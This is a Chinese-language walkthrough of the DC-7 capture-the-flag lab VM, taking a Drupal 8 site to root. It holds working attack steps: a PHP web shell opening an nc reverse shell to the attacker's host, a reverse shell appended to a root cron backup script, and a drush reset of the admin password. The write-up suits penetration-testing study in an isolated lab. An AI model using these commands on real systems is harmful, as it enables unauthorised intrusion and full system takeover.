渗透DC-7

靶机描述

下载地址:http://www.five86.com/downloads/DC-7.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

While this isn't an overly technical challenge, it isn't exactly easy.

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.

What you will need to do, is to think "outside" of the box.

Waaaaaay "outside" of the box. :-)

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

信息收集

扫描同网段下存活主机,发现目标主机172.18.1.143

1
arp-scan -l

扫描目标主机存活端口,发现开启了22端口和80端口

1
nmap -A 172.18.1.143

照常访问http端口,可以看到是一个web应用

扫描网站信息

1
whatweb -v http://172.18.1.143/

发现以下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
┌──(root㉿kali)-[~]
└─# whatweb -v http://172.18.1.143/
WhatWeb report for http://172.18.1.143/
Status : 200 OK
Title : Welcome to DC-7 | D7
IP : 172.18.1.143
Country : RESERVED, ZZ

Summary : Drupal, Script, HTML5, PoweredBy[-block], MetaGenerator[Drupal 8 (https://www.drupal.org)], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], Content-Language[en], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge], Apache[2.4.25], UncommonHeaders[x-drupal-dynamic-cache,link,x-content-type-options,x-generator,x-drupal-cache]

Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.

Version : 2.4.25 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/

[ Content-Language ]
Detect the content-language setting from the HTTP header.

String : en

[ Drupal ]
Drupal is an opensource CMS written in PHP.

Aggressive function available (check plugin file or details).
Google Dorks: (1)
Website : http://www.drupal.org

[ HTML5 ]
HTML version 5, detected by the doctype declaration


[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.

OS : Debian Linux
String : Apache/2.4.25 (Debian) (from server string)

[ MetaGenerator ]
This plugin identifies meta generator tags and extracts its
value.

String : Drupal 8 (https://www.drupal.org)

[ PoweredBy ]
This plugin identifies instances of 'Powered by x' text and
attempts to extract the value for x.

String : -block

[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.


[ UncommonHeaders ]
Uncommon HTTP server headers. The blacklist includes all
the standard headers and many non standard but common ones.
Interesting but fairly common headers should have their own
plugins, eg. x-powered-by, server and x-aspnet-version.
Info about headers can be found at www.http-stats.com

String : x-drupal-dynamic-cache,link,x-content-type-options,x-generator,x-drupal-cache (from headers)

[ X-Frame-Options ]
This plugin retrieves the X-Frame-Options value from the
HTTP header. - More Info:
http://msdn.microsoft.com/en-us/library/cc288472%28VS.85%29.
aspx

String : SAMEORIGIN

[ X-UA-Compatible ]
This plugin retrieves the X-UA-Compatible value from the
HTTP header and meta http-equiv tag. - More Info:
http://msdn.microsoft.com/en-us/library/cc817574.aspx

String : IE=edge

HTTP Headers:
HTTP/1.1 200 OK
Date: Wed, 20 Dec 2023 20:23:49 GMT
Server: Apache/2.4.25 (Debian)
Cache-Control: must-revalidate, no-cache, private
X-Drupal-Dynamic-Cache: MISS
Link: <http://172.18.1.143/node/1>; rel="canonical"
Link: <http://172.18.1.143/node/1>; rel="shortlink"
Link: <http://172.18.1.143/node/1>; rel="revision"
X-UA-Compatible: IE=edge
Content-language: en
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Vary: Accept-Encoding
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: HIT
Content-Encoding: gzip
Content-Length: 2653
Connection: close
Content-Type: text/html; charset=UTF-8

扫描目录信息,发现并没有什么有用的信息

1
dirsearch -u http://172.18.1.143/ -i 200

根据靶机描述的提示,需要寻找更多的信息,就直接转到社工了,根据用户名直接搜索

找到源码后,查看相关的配置文件,里面存在一个账号密码,根据尝试之后,发现可以ssh连接

渗透阶段

ssh连接

1
ssh dc7user@172.18.1.143

查找一些有用信息

在当前目录下,有个web备份文件,还有一个mbox,备份文件貌似就是网站的源码压缩包,我们查看mbox文件

这里发现一个root的bash文件,况且这个sh是个定时任务

通过mbox的内容,发现sh文件每隔十五分钟执行一次

查看一下文件的权限信息

1
2
3
4
ls -la

-rwxrwxr-x
root用户及其组用户(www-data)可以写入读取执行·,但其他用户没有写入的权限

说明我们当前的用户没办法向sh文件中写入反弹shell的命令了,先查看一下文件的内容,发现一个drush命令

查找相关信息,这是一个数据库导出文件

我们也可以利用drush命令修改用户的密码

1
2
先查看用户信息
drush user-information username

发现确实存在admin用户(这里我们需要切换目录才能执行drush命令)

使用drush命令修改管理员密码

1
drush upwd admin --password="123456"

有了账号密码,我们就可以登录网站了

进入到后台

我们在登录用户管理界面发现可以编辑文章,文件格式可以更改,说明我们在这里可以写入php语言

但是这个网站没有安装php解释器,所以需要先给网站安装一个php解释器

1
2
PHP解释器Drupal官方连接
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

发现url没法下载,那就只能本地下载再传上去了

导入成功后,我们需要安装一下php

使用php进行反弹shell

1
2
3
<?php
system('nc -e /bin/sh 172.18.1.128 1234')
?>

kali先监听端口,然后再保存shell文件

利用python升级shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

刚才我们渗透过程已经知道,www-data对sh文件是有写入权限的,直接利用当前用户写入反弹shell的语句到sh文件中,就能拿到root权限了

1
echo "nc -e /bin/bash 172.18.1.128 4321" >> /opt/scripts/backups.sh

虽然这个是定时任务,也可以考虑手动运行,因为我们已经拿到www-data的权限

查找flag

1
find / -name *flag*

1
cat /root/theflag.txt

总结

  • 社会工程(信息收集)
  • Drupal内容管理系统
  • linux定时任务 Cron Daemon
  • 文件读写权限
  • php反弹shell